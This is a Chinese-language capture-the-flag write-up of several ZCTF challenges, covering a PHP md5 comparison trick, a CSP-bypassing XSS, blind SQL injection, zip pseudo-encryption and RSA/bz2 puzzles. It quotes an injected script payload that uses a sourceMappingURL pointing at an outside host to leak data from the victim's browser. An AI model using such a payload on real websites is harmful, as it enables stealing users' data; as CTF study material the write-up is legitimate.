web100

这道题我找到了1.php,居然会有网页的信息的,结果什么也没有,学长提示存在.index.php.swp,为备份文件泄露,找到php脚本

<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr($flag, 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }##
}
die('ha?')
?>

根据php来解密,爆破需要传入的参数flag,,,

web find my eye-100

贼菜,不会做,拉来学长的wp给自己看,原文地址:http://www.tuicool.com/articles/rUviieB

稍微翻翻站,其实没什么功能,只有contact.php这里是一个有返回的功能,其他的都是直接跳#的,那么问题就是这个了

http://58.213.63.30:10006/a0f1b29db350fdac2ad6dc4cb92dbd2b/message.php

Name=dsafimgafsadsa&Email=123%40qq.com&Team=1321321&textarea=321421321

CSP

Content-Security-Policy 
default-src 'self'; script-src 'self' 'unsafe-inline';

这题其实最大的问题就是太过严格的过滤以及盲测,除了textarea有判断以外,其他的都没什么检测,事实是只记录了这个,script很随便,但过滤了:

eval
document
location
href
window
src
svg
img
open
callback
单双引号
括号
反斜杠
$\#

问题的核心其实是没有括号,没有任何办法绕过传入字符串,也没办法打cookie,后来没办法找到了长短短的bypass csp方式,获取请求的时候发现直接拿到了flag…

payload

</textarea><script>//@ sourceMappingURL=http://0xb.pw</script>


zctf%7Be042d9c03263521c86025a4b47b03055%7D

web eazy apk

由我们的韬神分析了apk后得到了一个端口:http://58.213.63.30:10005

然后盲注得到密码为CleverBoy123

通过安卓模拟器后登陆进去看起来是发送邮件的,之后便不会了,貌似是phpmail的cve漏洞,又要码土土大佬的blog了;关于phpmail的rce漏洞分析(ps:祝土土大佬早日通过cet4)

misc100

由三金大佬做出的(膜)

原本的zip压缩包为伪加密,查找hex :14 00 01 修改为14 00 00,解压得到flag文件夹, 里面存在.mca文件,查找到是mc地图编辑文件,下载mcedit打开地图文件,获得flag。

misc sign in

关注公众号,输入flag

misc Whiper

从hint中还原照片,得到hint:Ron,Adi,Leonard,and don't forget to check this file carefully。 RSA start_here.exe逆了一下,用C++写的。

401000处有65537,应该是exe中自带rsa加密,e=65537(初步猜测)。 dump出部分,先看着:

  v15 = 0x251FC307;H
  v16 = 0x1E53E463;i
  v17 = 0x217153B7;n
  v18 = 0x0ED044EB;t
  v19 = 0x26EC91AF;' '
  v20 = 0x4F8C7090;2
  v21 = 0x45E4F9BB;
  v22 = 0x26EC91AF;' '
  v23 = 0x6D04B642;a
  v24 = 0x26EC91AF;' '
  v25 = 0x0FF559EE;h
  v26 = 0x1E53E463;i
  v27 = 0x55C81190;d
  v28 = 0x55C81190;d
  v29 = 0x58006440;e
  v30 = 0x217153B7;n
  v31 = 0x26EC91AF;' '
  v32 = 0x35F1D9B2;
  v33 = 0x4D3D8957;
  v34 = 0x35F1D9B2;
  v35 = 0x26EC91AF;' '
  v36 = 0x7172720E;f
  v37 = 0x1E53E463;i
  v38 = 0x6AC5D9F7;l
  v39 = 0x58006440;e
  v40 = 0x4710F19D;
  v41 = 0x26EC91AF;' '
  v42 = 0x58006440;e
  v43 = 0x217153B7;n
  v44 = 0x7CEC33BF;c
  v45 = 0x86F98E57;o
  v46 = 0x55C81190;d
  v47 = 0x58006440;e
  v48 = 0x55C81190;d
  v49 = 0x26EC91AF;' '
  v50 = 0x1E53E463;i
  v51 = 0x217153B7;n
  v52 = 0x26EC91AF;' '
  v53 = 0x320CEC76;b
  v54 = 0x6D04B642;a
  v55 = 0x6866FA4F;s
  v56 = 0x58006440;e
  v57 = 0x297AEBEC;6
  v58 = 0x33FCD44B;4

【Hint 2: a hidden RAR file* encoded in base64】

这个exe应该只是推出一个hint2,应该是说png后面那段base64可以推出一个rar

还没推出来的用*表示(这一个已经不重要了) 输入的字符串长度为44 ============

猜测是正确的,base64中的rar我已经dump出来了 【链接:http://pan.baidu.com/s/1pKAFUdl 密码:g7jg】 每个文件开头相同BZh91AY&SY,百度可得:https://www.zhihu.com/question/20013258 脚本如下:得到解压密码 Love & Truth 解压即可得到flag。

payload:
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import bz2

file = "000---start here---000.txt"
while True:

    f = open(file)
    tmp = f.read()
    info = bz2.decompress(tmp)
    print info
    print
    file = info.split(" ")[-1]